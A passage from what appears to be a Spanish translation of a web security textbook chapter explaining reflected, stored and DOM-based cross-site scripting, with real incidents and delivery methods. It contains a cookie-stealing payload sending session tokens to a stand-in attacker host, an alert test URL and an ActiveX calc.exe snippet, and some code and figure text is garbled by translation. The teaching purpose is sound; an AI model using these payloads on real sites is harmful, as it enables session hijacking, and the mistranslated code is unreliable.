adelante en este capítulo describiremos cómo funciona el filtro XSS y las formas en que se puede eludir.
Este tipo de error XSS simple representa aproximadamente el 75 % de las vulnerabilidades

XSS que existen en las aplicaciones web del mundo real. Se denomina XSS reflejado
porque la explotación de la vulnerabilidad implica la elaboración de una solicitud que
contiene JavaScript incrustado que se refleja en cualquier usuario que realice la solicitud.
La carga útil del ataque se entrega y ejecuta a través de una sola solicitud y respuesta. Por
esta razón, a veces también se le llama XSS de primer orden .
Explotación de la vulnerabilidad
Como verá, las vulnerabilidades XSS se pueden explotar de muchas maneras diferentes para
atacar a otros usuarios de una aplicación. Uno de los ataques más simples, y el que se prevé
más comúnmente para explicar la importancia potencial de las fallas de XSS , hace que el
atacante capture el token de sesión de un usuario autenticado. El secuestro de la sesión del
usuario le da al atacante acceso a todos los datos y funcionalidades a los que el usuario está
autorizado (consulte el Capítulo 7).
Los pasos involucrados en este ataque se ilustran en la figura 12-3.
sesió
ataca
usua
secu
del
la
El
7. en
registros
Solicitudes
usuarios
los
de
1.
URL
atacante
del
con
responde
JavaScript
Solicitud
Usuario
3. 4.
Atacante
servidor
del
5. El JavaScript
2. El atacante envía una URL creada al usuario
del atacante se
ejecuta en el
6. El navegador del usuario envía el token de sesión al atacante
navegador del usuario
Usuario Agresor
Figura 12-3: Los pasos involucrados en un ataque XSS reflejado
1. El usuario inicia sesión en la aplicación normalmente y recibe una cookie

que contiene un token de sesión:
Establecer-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3
2. A través de algún medio (descrito en detalle más adelante), el atacante alimenta el

siguiente URL al usuario:
http://mdsec.net/error/5/Error.ashx?message=<script>var+i=nueva+Imagen;+i.src=”http://
mdattacker.net/”%2bdocument.cookie;< /script>
Como en el ejemplo anterior, que generó un mensaje de diálogo, esta URL contiene
JavaScript incrustado. Sin embargo, la carga útil del ataque en este caso es más
maliciosa.
3. El usuario solicita a la aplicación la URL que le proporcionó el atacante.

4. El servidor responde a la solicitud del usuario. Como resultado de la capacidad de la

vulnerabilidad XSS, la respuesta contiene el JavaScript que creó el atacante.
5. El navegador del usuario recibe el JavaScript del atacante y lo ejecuta de la misma
forma que cualquier otro código que recibe de la aplicación.
6. El JavaScript malicioso creado por el atacante es:
var i=nueva imagen; i.src=”http://mdattacker.net/”+document.cookie;
Este código hace que el navegador del usuario realice una solicitud a mdattacker.net,
que es un dominio propiedad del atacante. La solicitud contiene el token de sesión
actual del usuario para la aplicación:
OBTENER /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1

7. El atacante monitorea las solicitudes a mdattacker.net y recibe la solicitud del usuario.

Utiliza el token capturado para secuestrar la sesión del usuario, obteniendo acceso a
la información personal de ese usuario y realizando acciones arbitrarias "como" el
usuario.
NOTA Como vio en el Capítulo 6, algunas aplicaciones almacenan una cookie

persistente que vuelve a autenticar al usuario en cada visita, por ejemplo, para
implementar una función de "recuérdame". En esta situación, el paso 1 del
proceso anterior es innecesario. El ataque tendrá éxito incluso cuando el usuario
objetivo no haya iniciado sesión activamente o no esté usando la aplicación.
Debido a esto, las aplicaciones que usan cookies de esta manera quedan más
expuestas en términos del impacto de cualquier falla XSS que contengan.
Después de leer todo esto, se le puede perdonar que se pregunte por qué, si el atacante
puede inducir al usuario a visitar una URL de su elección, se molesta con el papel de rigma
de transmitir su JavaScript malicioso a través del error XSS en la aplicación vulnerable. ¿Por
qué no aloja simplemente un script malicioso en mdattacker.net y proporciona al usuario un
enlace directo a este script? ¿No se ejecutaría este script de la misma manera que en el
ejemplo descrito?
Para comprender por qué el atacante necesita explotar la vulnerabilidad XSS,
recuerde la política del mismo origen que se describió en el Capítulo 3. Los
navegadores separan el contenido que se recibe de diferentes orígenes (dominios) en
un intento de evitar que diferentes dominios interfieran entre sí dentro de el navegador de un usuario.
El objetivo del atacante no es simplemente ejecutar un script arbitrario sino capturar el
token de sesión del usuario. Los navegadores no permiten que cualquier script antiguo
acceda a las cookies de un dominio; de lo contrario, el secuestro de sesión sería fácil. Más
bien, solo el dominio que las emitió puede acceder a las cookies . Se envían en solicitudes
HTTP solo al dominio emisor y se puede acceder a ellos a través de
JavaScript contenido dentro o cargado por una página devuelta solo por ese dominio.
Por lo tanto, si un script que reside en mdattacker.net consulta document.cookie, no obtendrá
las cookies emitidas por mdsec.net y el ataque de secuestro fallará.
La razón por la que el ataque que explota la vulnerabilidad XSS tiene éxito es que, en lo que
respecta al navegador del usuario, mdsec.net le envió el JavaScript malicioso del atacante .
Cuando el usuario solicita la URL del atacante, el navegador realiza una solicitud a http://
,
mdsec.net/error/5/Error.ashx y la aplicación devuelve una página que contiene algo de
JavaScript. Al igual que con cualquier JavaScript recibido de mdsec.net, el navegador ejecuta
este script dentro del contexto de seguridad de la relación del usuario con mdsec.net. Esta es
la razón por la cual el script del atacante , aunque en realidad se origina en otro lugar, puede
acceder a las cookies emitidas por mdsec.net. Esta es también la razón por la cual la
vulnerabilidad en sí misma se conoce como secuencias de comandos entre sitios .
Vulnerabilidades XSS almacenadas
Una categoría diferente de vulnerabilidad XSS a menudo se denomina secuencias de comandos entre sitios almacenadas .
Esta versión surge cuando los datos enviados por un usuario se almacenan en la aplicación
(generalmente en una base de datos de back-end) y luego se muestran a otros usuarios sin
ser filtrados o desinfectados adecuadamente.
Las vulnerabilidades XSS almacenadas son comunes en las aplicaciones que admiten la
interacción entre los usuarios finales, o donde el personal administrativo accede a los registros
y datos de los usuarios dentro de la misma aplicación. Por ejemplo, considere una aplicación
de subasta que permita a los compradores publicar preguntas sobre artículos específicos y a
los vendedores publicar respuestas. Si un usuario puede publicar una pregunta que contiene
JavaScript incrustado y la aplicación no la filtra ni la desinfecta, un atacante puede publicar una
pregunta manipulada que hace que se ejecuten secuencias de comandos arbitrarias en el
navegador de cualquier persona que vea la pregunta, incluidos el vendedor y otros posibles compradores.
En este contexto, el atacante podría causar que usuarios involuntarios pujen por un artículo sin
tener la intención de hacerlo, o hacer que un vendedor cierre una subasta y acepte la oferta
baja del atacante por un artículo.
Los ataques contra las vulnerabilidades XSS almacenadas suelen implicar al menos dos
solicitudes a la aplicación. En la primera, el atacante publica algunos datos manipulados que
contienen código malicioso que almacena la aplicación. En el segundo, una víctima ve una
página que contiene los datos del atacante y el código malicioso se ejecuta cuando se ejecuta
el script en el navegador de la víctima. Por esta razón, la vulnerabilidad también se denomina
secuencias de comandos entre sitios de segundo orden . (En este caso, "XSS" es realmente
un nombre inapropiado, porque el ataque no tiene un elemento entre sitios. Sin embargo, el
nombre se usa mucho, por lo que lo mantendremos aquí).
La Figura 12-4 ilustra cómo un atacante puede explotar una vulnerabilidad XSS almacenada
para realizar el mismo ataque de secuestro de sesión que se describió para el XSS reflejado.
El
1.
atacant
secues
sesión
usuari
del
la
El
JavaScri
pregunta
contiene
malicios
atacante
envía
que
una
7. registros
en
con
Solicitud
Usuario pregunta
atacante
del
2. responde
JavaScript
puntos
vista
de
Usuario 4.
3. Atacante
servidor
del
5. El JavaScript
del atacante se
ejecuta en el
6. El navegador del usuario envía el token de sesión al atacante
navegador del usuario
Usuario Agresor
Figura 12-4: Los pasos involucrados en un ataque XSS almacenado
¡INTENTALO!
Este ejemplo contiene una función de búsqueda que muestra la consulta que ingresa
el usuario actual y también una lista de consultas recientes de otros usuarios. Debido a
que las consultas se muestran sin modificar, la aplicación es vulnerable tanto a XSS
reflejados como almacenados. Vea si puede encontrar ambas vulnerabilidades.
Los XSS reflejados y almacenados tienen dos diferencias importantes en el proceso de ataque.
XSS almacenado generalmente es más serio desde una perspectiva de seguridad.
Primero, en el caso de XSS reflejado, para explotar una vulnerabilidad, el atacante debe inducir
a las víctimas a visitar su URL manipulada. En el caso de XSS almacenados, se evita este requisito.
Habiendo implementado su ataque dentro de la aplicación, el atacante simplemente necesita
esperar a que las víctimas naveguen a la página o función que ha sido comprometida. Por lo
general, esta es una página normal de la aplicación a la que los usuarios normales accederán por
su propia voluntad.
En segundo lugar, los objetivos del atacante al explotar un error XSS generalmente se logran
mucho más fácilmente si la víctima está usando la aplicación en el momento del ataque.
Por ejemplo, si el usuario tiene una sesión existente, esta puede ser secuestrada inmediatamente.
En un ataque XSS reflejado, el atacante puede intentar diseñar esta situación persuadiendo al
usuario para que inicie sesión y luego haga clic en un enlace que él proporciona. O puede intentar
implementar una carga persistente que espere hasta que el usuario inicie sesión. Sin embargo,
en un ataque XSS almacenado, generalmente se garantiza que los usuarios de la víctima

ya estarán accediendo a la aplicación en el momento del ataque. Debido a que la carga útil
del ataque se almacena dentro de una página de la aplicación a la que los usuarios acceden
por su propia voluntad, cualquier víctima del ataque, por definición, estará usando la
aplicación en el momento en que se ejecuta la carga útil. Además, si la página en cuestión
está dentro del área autenticada de la aplicación, cualquier víctima del ataque también debe
iniciar sesión en ese momento.
Estas diferencias entre XSS reflejado y almacenado significan que los defectos de XSS almacenados
suelen ser críticos para la seguridad de una aplicación. En la mayoría de los casos, un atacante puede
enviar algunos datos manipulados a la aplicación y luego esperar a que las víctimas sean atacadas.
Si una de esas víctimas es un administrador, el atacante habrá comprometido toda la aplicación.
Vulnerabilidades XSS basadas en DOM

Tanto las vulnerabilidades XSS reflejadas como las almacenadas implican un patrón específico de
comportamiento, en el que la aplicación toma datos controlables por el usuario y los muestra a los
usuarios de una manera no segura. Una tercera categoría de vulnerabilidades XSS no comparte esta
característica. Aquí, el proceso mediante el cual se ejecuta el JavaScript del atacante es el siguiente:
n Un usuario solicita una URL manipulada proporcionada por el atacante y que

contiene JavaScript incrustado. n La respuesta del servidor no contiene el script
del atacante de ninguna forma. n Cuando el navegador del usuario procesa esta
respuesta, se ejecuta el script
sin embargo.
¿Cómo puede ocurrir esta serie de eventos? La respuesta es que JavaScript del lado del cliente
puede acceder al modelo de objeto de documento (DOM) del navegador y, por lo tanto, puede
determinar la URL utilizada para cargar la página actual. Un script emitido por la aplicación puede
extraer datos de la URL, realizar algún procesamiento en estos datos y luego usarlos para actualizar
dinámicamente el contenido de la página. Cuando una aplicación hace esto, puede ser vulnerable a
XSS basado en DOM.
Recuerde el ejemplo original de una falla XSS reflejada, en la que la aplicación del lado del servidor
copia datos de un parámetro de URL en un mensaje de error. Una forma diferente de implementar la
misma funcionalidad sería que la aplicación devolviera la misma pieza de HTML estático en cada
ocasión y usara JavaScript del lado del cliente para generar dinámicamente el contenido del mensaje.
Por ejemplo, suponga que la página de error devuelta por la aplicación contiene lo siguiente:
<script> var
url = documento.ubicación;
url = no escapar (url); var

mensaje = url.substring(url.indexOf('mensaje=') + 8, url
.longitud);
documento.escribir(mensaje); </script>
Este script analiza la URL para extraer el valor del parámetro del mensaje y simplemente
escribe este valor en el código fuente HTML de la página. Cuando se invoca como
pretendían los desarrolladores, se puede usar de la misma manera que en el ejemplo
original para crear mensajes de error fácilmente. Sin embargo, si un atacante crea una
URL que contiene código JavaScript como valor del parámetro del mensaje , este código
se escribirá dinámicamente en la página y se ejecutará de la misma manera que si el
servidor lo hubiera devuelto. En este ejemplo, la misma URL que explotó la vulnerabilidad
XSS original reflejada también se puede usar para generar un cuadro de diálogo:
http://mdsec.net/error/18/Error.ashx?message=<script>alerta('xss')</script>
¡INTENTALO!
La figura 12-5 ilustra el proceso de explotación de una vulnerabilidad XSS basada en

DOM.
secue
usuar
sesió
ataca
del
la
El
7. Solicitudes
usuarios
registros
de
1.
en
atacante
del
responde
URL
página
con
Solicitud
JavaScript
codificado
ServidorUsuario
4. 3.
contiene
que
5. La URL del
2. El atacante envía una URL creada al usuario
atacante es procesada
por JavaScript, lo 6. El navegador del usuario envía el token de sesión al atacante
que activa la carga
útil de su ataque. Usuario Agresor
Figura 12-5: Los pasos involucrados en un ataque XSS basado en DOM

Las vulnerabilidades XSS basadas en DOM son más similares a los errores XSS reflejados
que a los errores XSS almacenados. Su explotación suele implicar que un atacante induzca
a un usuario a acceder a una URL manipulada que contiene código malicioso. La respuesta
del servidor a esa solicitud específica hace que se ejecute el código malicioso. Sin embargo,
en términos de los detalles de explotación, existen diferencias importantes entre XSS
reflejado y basado en DOM, que examinaremos en breve.
Ataques XSS en acción
Para comprender el grave impacto de las vulnerabilidades XSS, es útil examinar algunos
ejemplos reales de ataques XSS. También ayuda considerar la amplia gama de acciones
maliciosas que pueden realizar los exploits XSS y cómo se entregan activamente a las
víctimas.
Ataques XSS del mundo real

En 2010, la Fundación Apache se vio comprometida a través de un ataque XSS reflejado
dentro de su aplicación de seguimiento de problemas. Un atacante publicó un enlace,
oscurecido mediante un servicio de redireccionamiento, a una URL que aprovechó la falla
XSS para capturar el token de sesión del usuario que inició sesión. Cuando un administrador
hizo clic en el enlace, su sesión se vio comprometida y el atacante obtuvo acceso
administrativo a la aplicación. Luego, el atacante modificó la configuración de un proyecto
para cambiar la carpeta de carga del proyecto a un directorio ejecutable dentro de la raíz
web de la aplicación. Cargó un formulario de inicio de sesión de troyano en esta carpeta y
pudo capturar los nombres de usuario y las contraseñas de los usuarios privilegiados. El
atacante identificó algunas contraseñas que estaban siendo reutilizadas en otros sistemas dentro de la infraestructura.
Pudo comprometer completamente esos otros sistemas, escalando el ataque más allá de la
aplicación web vulnerable.
Para obtener más detalles sobre este ataque, consulte esta URL:
http://blogs.apache.org/infra/entry/apache_org_04_09_2010
En 2005, se descubrió que el sitio de redes sociales MySpace era vulnerable a un ataque
XSS almacenado. La aplicación MySpace implementa fi ltros para evitar que los usuarios
coloquen JavaScript en su página de perfil de usuario. Sin embargo, un usuario llamado
Samy encontró una forma de eludir estos fi ltros y colocó algo de JavaScript en su página de
perfil. El script se ejecutaba cada vez que un usuario veía este perfil y provocaba que el
navegador de la víctima realizara varias acciones con dos efectos clave.
Primero, el navegador agregó a Samy como “amigo” de la víctima. En segundo lugar, copió
el script en la propia página de perfil de usuario de la víctima. Posteriormente, cualquiera
que viera el perfil de la víctima también sería víctima del ataque. El resultado fue un gusano
basado en XSS que se propagó exponencialmente. En cuestión de horas, el perpetrador original
tenía casi un millón de solicitudes de amistad. Como resultado, MySpace tuvo que desconectar la aplicación,
eliminar el script malicioso de los perfi les de todos sus usuarios y corregir el defecto en sus fi ltros anti-XSS.
http://namb.la/popular/tech.html
Las aplicaciones de correo web están inherentemente en riesgo de ataques XSS almacenados debido a
la forma en que procesan los mensajes de correo electrónico en el navegador cuando los ve el destinatario.
Los correos electrónicos pueden contener contenido en formato HTML, por lo que la aplicación copia
efectivamente HTML de terceros en las páginas que muestra a los usuarios. En 2009, un proveedor de correo
web llamado StrongWebmail ofreció una recompensa de $ 10,000 a cualquiera que pudiera ingresar al correo
electrónico del CEO. Los piratas informáticos identificaron una vulnerabilidad XSS almacenada dentro de la
aplicación de correo web que permitía ejecutar JavaScript arbitrario cuando el destinatario veía un correo
electrónico malicioso. Enviaron un correo electrónico adecuado al CEO, comprometieron su sesión en la
aplicación y reclamaron la recompensa.
http://blogs.zdnet.com/security/?p=3514
En 2009, Twitter fue víctima de dos gusanos XSS que explotaban las capacidades de vulnerabilidades XSS
almacenadas para propagarse entre los usuarios y publicar actualizaciones que promocionaban el sitio web del
autor de los gusanos. También se han identificado varias vulnerabilidades XSS basadas en DOM en Twitter, que
surgen de su uso extensivo de código similar a Ajax en el lado del cliente.

Para obtener más detalles sobre estas vulnerabilidades, consulte las siguientes URL:
www.cgisecurity.com/2009/04/two-xss-worms-slam-twitter.html http://blog.pressedsecurity.com/
2010/09/twitter-domxss-wrong-fix-and something.html
Cargas útiles para ataques XSS

Hasta ahora, nos hemos centrado en la carga útil del ataque XSS clásico. Implica capturar el token de sesión de
una víctima, secuestrar su sesión y, por lo tanto, hacer uso de la aplicación "como" la víctima, realizar acciones
arbitrarias y potencialmente tomar posesión de la cuenta de ese usuario. De hecho, muchas otras cargas de
ataque pueden entregarse a través de cualquier tipo de vulnerabilidad XSS.
Desfiguración virtual
Este ataque consiste en inyectar datos maliciosos en una página de una aplicación
web para proporcionar información engañosa a los usuarios de la aplicación. Puede
implicar simplemente inyectar marcado HTML en el sitio, o puede usar scripts (a veces
alojados en un servidor externo) para inyectar contenido elaborado y navegación en el sitio.
Este tipo de ataque se conoce como desfiguración virtual porque el contenido real
alojado en el servidor web del objetivo no se modifica. La desfiguración se genera
únicamente debido a cómo la aplicación procesa y presenta la entrada proporcionada por el usuario.
Además de las travesuras frívolas, este tipo de ataque podría utilizarse con fines delictivos
graves. Una desfiguración elaborada profesionalmente, entregada a los destinatarios correctos de
manera convincente, podría ser captada por los medios de comunicación y tener efectos en el
mundo real sobre el comportamiento de las personas, los precios de las acciones, etc., en
beneficio financiero del atacante, como se ilustra. en la figura 12-6.
Figura 12-6: Un ataque de desfiguración virtual que explota una falla XSS
Inyectar funcionalidad troyana

Este ataque va más allá de la desfiguración virtual e inyecta funcionalidad de trabajo real en la
aplicación vulnerable. La intención es engañar a los usuarios finales para que realicen alguna
acción no deseada, como ingresar datos confidenciales que luego se transmiten al atacante.
Como se describió en el ataque contra Apache, un ataque obvio que involucra funcionalidad
inyectada es presentar a los usuarios un formulario de inicio de sesión troyano que envía sus
credenciales a un servidor controlado por el atacante. Si se ejecuta hábilmente, el ataque también
puede iniciar sesión sin problemas en la aplicación real del usuario para que no detecte ninguna
anomalía en su experiencia. El atacante es entonces libre de utilizar las credenciales de la víctima
para sus propios fines. Este tipo de carga útil se presta bien a un ataque de estilo phishing, en el
que los usuarios reciben una URL manipulada dentro de la aplicación auténtica real y se les
informa que deben iniciar sesión normalmente.
para acceder a ella.
Otro ataque obvio es pedir a los usuarios que introduzcan los datos de su tarjeta de crédito,
normalmente con el incentivo de alguna oferta atractiva. Por ejemplo, la Figura 12-7 muestra un
ataque de prueba de concepto creado por Jim Ley, explotando una capacidad de vulnerabilidad
XSS reflejada encontrada en Google en 2004.
Figura 12-7: Un ataque XSS reflejado que inyecta funcionalidad troyana
Las direcciones URL en estos ataques apuntan al nombre de dominio auténtico de la

aplicación real, con un certificado SSL válido cuando corresponda. Por lo tanto, es mucho
más probable que persuadan a las víctimas para que envíen información confidencial que
los sitios web de phishing puro que están alojados en un dominio diferente y simplemente
clonan el contenido del sitio web objetivo.
Inducir acciones del usuario
Si un atacante secuestra la sesión de una víctima, puede utilizar la aplicación “como”

ese usuario y realizar cualquier acción en su nombre. Sin embargo, este enfoque para
realizar acciones arbitrarias puede no ser siempre deseable. Requiere que el atacante
controle su propio servidor en busca de envíos de tokens de sesión capturados de
usuarios comprometidos. También debe realizar la acción correspondiente en nombre
de cada usuario. Si muchos usuarios están siendo atacados, esto puede no ser práctico.
Además, deja un rastro poco sutil en los registros de cualquier aplicación, que podría
usarse fácilmente para identificar la computadora responsable de las acciones no
autorizadas durante una investigación.
Una alternativa al secuestro de sesión, donde un atacante simplemente quiere llevar a

cabo un conjunto específico de acciones en nombre de cada usuario comprometido, es usar
el propio script de carga útil del ataque para realizar las acciones. Esta carga útil de ataque
es particularmente útil en los casos en que un atacante desea realizar alguna acción que
requiere privilegios administrativos, como modificar los permisos asignados a una cuenta que
controla. Con una gran base de usuarios, sería laborioso secuestrar la sesión de cada usuario
y establecer si la víctima era un administrador. Un enfoque más efectivo es inducir a cada
usuario comprometido a intentar actualizar los permisos en la cuenta del atacante. La mayoría
de los intentos fallarán, pero en el momento en que un usuario administrativo se ve
comprometido, el atacante logra escalar los privilegios. Las formas de inducir acciones en
nombre de otros usuarios se describen en la sección "Solicitud de falsificación" del Capítulo
13.
El gusano MySpace XSS descrito anteriormente es un ejemplo de esta carga útil de ataque.
Ilustra el poder de un ataque de este tipo para realizar acciones no autorizadas en nombre de
una base de usuarios masiva con un esfuerzo mínimo por parte del atacante. Este ataque
utilizó una serie compleja de solicitudes utilizando técnicas Ajax (descritas en el Capítulo 3)
para llevar a cabo las diversas acciones necesarias para permitir que el gusano se propagara.
Un atacante cuyo objetivo principal es la propia aplicación, pero que quiere permanecer lo
más sigiloso posible, puede aprovechar este tipo de carga útil de ataque XSS para hacer que
otros usuarios lleven a cabo acciones maliciosas de su elección contra la aplicación. Por
ejemplo, el atacante podría hacer que otro usuario aproveche una vulnerabilidad de inyección
SQL para agregar un nuevo administrador a la tabla de cuentas de usuario dentro de la base
de datos. El atacante controlaría la nueva cuenta, pero cualquier investigación de los registros
de la aplicación puede concluir que el responsable fue otro usuario.
Explotación de cualquier relación de confianza
Ya ha visto una relación de confianza importante que XSS puede explotar: los navegadores
confían en el JavaScript recibido de un sitio web con las cookies emitidas por ese sitio web.
Varias otras relaciones de confianza a veces pueden explotarse en un ataque XSS:
n Si la aplicación emplea formularios con autocompletar habilitado, el JavaScript emitido

por la aplicación puede capturar cualquier dato ingresado previamente que el
navegador del usuario haya almacenado en la memoria caché de autocompletar. Al
instanciar el formulario relevante, esperar a que el navegador complete automáticamente
su contenido y luego consultar los valores del campo del formulario, el script puede
robar estos datos y transmitirlos al servidor del atacante. Este ataque puede ser más
poderoso que inyectar la funcionalidad de un troyano, porque los datos confidenciales
se pueden capturar sin requerir ninguna interacción por parte del usuario.
n Algunas aplicaciones web recomiendan o exigen que los usuarios agreguen su
nombre de dominio a la zona de "Sitios confiables" de su navegador. Esto casi
siempre es indeseable y significa que cualquier falla de tipo XSS puede explotarse para realizar
ejecución de código arbitrario en la computadora de un usuario víctima. Por ejemplo,

si un sitio se ejecuta en la zona de Sitios de confianza de Internet Explorer, al inyectar
el siguiente código, se inicia el programa de calculadora de Windows en la computadora
del usuario:
<script> var
o = new ActiveXObject('WScript.shell');
o.Run('calc.exe'); </script>
n Las aplicaciones web a menudo implementan controles ActiveX que contienen métodos
poderosos (consulte el Capítulo 13). Algunas aplicaciones buscan evitar el uso indebido
por parte de un tercero al verificar dentro del propio control que la página web que
invoca se emitió desde el sitio web correcto. En esta situación, el control aún puede
ser mal utilizado a través de un ataque XSS, porque en ese caso el código de
invocación satisface la verificación de confianza implementada dentro del control.
MITO COMÚN
“Phishing y XSS solo afectan a las aplicaciones en la Internet pública”.
Los errores XSS pueden afectar a cualquier tipo de aplicación web, y un ataque
contra una aplicación basada en una intranet, enviado a través de un correo electrónico
grupal, puede explotar dos formas de confianza. Primero, está la confianza social
explotada por un correo electrónico interno enviado entre colegas. En segundo lugar,
los navegadores de las víctimas a menudo confían más en los servidores web
corporativos que en los de la Internet pública. Por ejemplo, con Internet Explorer, si
una computadora es parte de un dominio corporativo, el navegador tiene un nivel de
seguridad más bajo cuando accede a aplicaciones basadas en intranet.
Escalando el ataque del lado del cliente
Un sitio web puede atacar directamente a los usuarios que lo visitan de muchas maneras,
como registrar sus pulsaciones de teclas, capturar su historial de navegación y escanear
puertos en la red local. Cualquiera de estos ataques puede entregarse a través de una falla
de secuencias de comandos entre sitios en una aplicación vulnerable, aunque también pueden
entregarse directamente desde cualquier sitio web malicioso que un usuario visite. Los
ataques de este tipo se describen con más detalle al final del Capítulo 13.
Mecanismos de entrega para ataques XSS

Habiendo identificado una vulnerabilidad XSS y formulado una carga útil adecuada
para explotarla, un atacante necesita encontrar alguna forma de entregar el ataque a otros.
usuarios de la aplicación. Ya hemos discutido varias formas en que esto se puede hacer. De
hecho, muchos otros mecanismos de entrega están disponibles para un atacante.
Entrega de ataques XSS basados en DOM y reflejados

Además del vector de phishing obvio de enviar por correo electrónico una URL manipulada a
usuarios aleatorios, un atacante puede intentar entregar una URL reflejada o basada en DOM.
Ataque XSS a través de los siguientes mecanismos:
n En un ataque dirigido, se puede enviar un correo electrónico falsificado a un solo usuario

objetivo oa una pequeña cantidad de usuarios. Por ejemplo, un administrador de
aplicaciones podría recibir un correo electrónico aparentemente procedente de un usuario
conocido, quejándose de que una URL específica está causando un error. Cuando un
atacante quiere comprometer la sesión de un usuario específico (en lugar de recolectar las
de usuarios aleatorios), un ataque dirigido bien informado y convincente suele ser el
mecanismo de entrega más eficaz. Este tipo de ataque a veces se denomina "spear
phishing".
n Se puede enviar una URL a un usuario de destino en un mensaje
instantáneo. n El contenido y el código de los sitios web de terceros se pueden usar para
generar solicitudes que desencadenan fallas XSS. Numerosas aplicaciones populares
permiten a los usuarios publicar marcas HTML limitadas que se muestran sin modificar a otros usuarios.
Si se puede desencadenar una vulnerabilidad XSS mediante el método GET , un
atacante puede publicar una etiqueta IMG en un sitio de terceros dirigido a la URL vulnerable.
Cualquier usuario que vea el contenido de terceros solicitará sin darse cuenta la URL
maliciosa.
Alternativamente, el atacante podría crear su propio sitio web con contenido interesante
como un incentivo para que los usuarios lo visiten. También contiene contenido que hace
que el navegador del usuario realice solicitudes que contienen cargas útiles XSS a una
aplicación vulnerable. Si un usuario inicia sesión en la aplicación vulnerable y navega hasta
el sitio del atacante, la sesión del usuario con la aplicación vulnerable se ve comprometida.
Habiendo creado un sitio web adecuado, un atacante puede usar técnicas de manipulación
de motores de búsqueda para generar visitas de usuarios adecuados, como colocar
palabras clave relevantes dentro del contenido del sitio y vincular al sitio usando
expresiones relevantes. Sin embargo, este mecanismo de entrega no tiene nada que ver
con el phishing. El sitio del atacante no intenta hacerse pasar por el sitio al que se dirige.
Tenga en cuenta que este mecanismo de entrega puede permitir que un atacante
aproveche las vulnerabilidades XSS reflejadas y basadas en DOM que solo pueden
activarse a través de solicitudes POST . Con estas vulnerabilidades, obviamente no hay
una URL simple que pueda enviarse a un usuario víctima para lanzar un ataque. Sin embargo, un malicioso
El sitio web puede contener un formulario HTML que utiliza el método POST y que tiene la
aplicación vulnerable como URL de destino. Se pueden usar JavaScript o controles de
navegación en la página para enviar el formulario, aprovechando con éxito la vulnerabilidad.
n En una variación del ataque a sitios web de terceros, se sabe que algunos atacantes pagan
por anuncios publicitarios que se vinculan a una URL que contiene una carga XSS para
una aplicación vulnerable. Si un usuario inicia sesión en la aplicación vulnerable y hace
clic en el anuncio, su sesión con esa aplicación se ve comprometida. Debido a que muchos
proveedores usan palabras clave para asignar anuncios a páginas que están relacionadas
con ellos, incluso han surgido casos en los que un anuncio que ataca una aplicación en
particular se asigna a las páginas de esa aplicación en sí. Esto no solo otorga credibilidad
al ataque, sino que también garantiza que alguien que haga clic en el anuncio esté
utilizando la aplicación vulnerable en el momento en que ocurre el ataque. Además, dado
que la URL de destino ahora está “en el sitio”, el ataque puede eludir los mecanismos
basados en navegador empleados para defenderse contra XSS (que se describen en
detalle más adelante en este capítulo ). Debido a que muchos proveedores de anuncios
publicitarios cobran por clic, esta técnica permite que un atacante "compre" una cantidad
específica de sesiones de usuario.
n Muchas aplicaciones web implementan una función para "decirle a un amigo" o enviar
comentarios a los administradores del sitio. Esta función a menudo permite a un usuario
generar un correo electrónico con contenido y destinatarios arbitrarios. Un atacante puede
aprovechar esta funcionalidad para enviar un ataque XSS a través de un correo electrónico
que en realidad se origina en el propio servidor de la organización. Esto aumenta la
probabilidad de que incluso los usuarios con conocimientos técnicos y el software
antimalware lo acepten.
Entrega de ataques XSS almacenados
Los dos tipos de mecanismos de entrega para ataques XSS almacenados son dentro de banda y
fuera de banda.
La entrega en banda se aplica en la mayoría de los casos y se utiliza cuando los datos que son
objeto de la vulnerabilidad se suministran a la aplicación a través de su interfaz web principal. Las
ubicaciones comunes donde los datos controlables por el usuario pueden eventualmente mostrarse
a otros usuarios incluyen las siguientes:
n Campos de información personal: nombre, dirección, correo electrónico, teléfono y

similares n Nombres de documentos, archivos cargados y otros elementos n Comentarios
o preguntas para administradores de aplicaciones n Mensajes, actualizaciones de estado,
comentarios, preguntas y la como para otros usuarios de la aplicación
n Todo lo que se registra en los registros de la aplicación y se muestra en el navegador a los

administradores, como direcciones URL, nombres de usuario, referencia HTTP , agente de
usuario y similares .
n El contenido de los archivos cargados que se comparten entre los usuarios
En estos casos, la carga útil XSS se entrega simplemente enviándola a la página correspondiente
dentro de la aplicación y luego esperando a que las víctimas vean los datos maliciosos.
La entrega fuera de banda se aplica en los casos en que los datos que son objeto de la
vulnerabilidad se suministran a la aplicación a través de algún otro canal.
La aplicación recibe datos a través de este canal y, en última instancia, los presenta en páginas HTML
que se generan dentro de su interfaz web principal. Un ejemplo de este mecanismo de entrega es el
ataque ya descrito contra aplicaciones de correo web . Implica el envío de datos maliciosos a un
servidor SMTP, que eventualmente se muestra a los usuarios dentro de un mensaje de correo
electrónico con formato HTML.
Encadenamiento de XSS y otros ataques
Las fallas de XSS a veces se pueden encadenar con otras vulnerabilidades con efectos devastadores.
Los autores encontraron una aplicación que tenía una capacidad de vulnerabilidad XSS almacenada
dentro del nombre para mostrar del usuario. El único propósito para el que se usó este elemento fue
mostrar un mensaje de bienvenida personalizado después de que el usuario iniciara sesión . El
nombre para mostrar nunca se mostró a otros usuarios de la aplicación, por lo que inicialmente
parecía no haber un vector de ataque para que los usuarios causaran problemas al editar su propio
nombre para mostrar. En igualdad de condiciones, la vulnerabilidad se clasificaría como de muy bajo
riesgo.
Sin embargo, existía una segunda vulnerabilidad dentro de la aplicación. Los controles de
acceso defectuosos significaban que cualquier usuario podía editar el nombre para mostrar de
cualquier otro usuario. Nuevamente, por sí solo, este problema tenía una importancia mínima:
¿Por qué un atacante estaría interesado en cambiar los nombres para mostrar de otros usuarios?
El encadenamiento de estas dos vulnerabilidades de bajo riesgo permitió a un atacante
comprometer completamente la aplicación. Fue fácil automatizar un ataque para inyectar un script en
el nombre para mostrar de cada usuario de la aplicación. Este script se ejecutaba cada vez que un
usuario iniciaba sesión en la aplicación y transmitía el token de sesión del usuario a un servidor
propiedad del atacante. Algunos de los usuarios de la aplicación eran administradores, que iniciaban
sesión con frecuencia y que podían crear nuevos usuarios y modificar los privilegios de otros usuarios.
Un atacante simplemente tenía que esperar a que un administrador iniciara sesión, secuestrar la
sesión del administrador y luego actualizar su propia cuenta para tener privilegios administrativos. Las
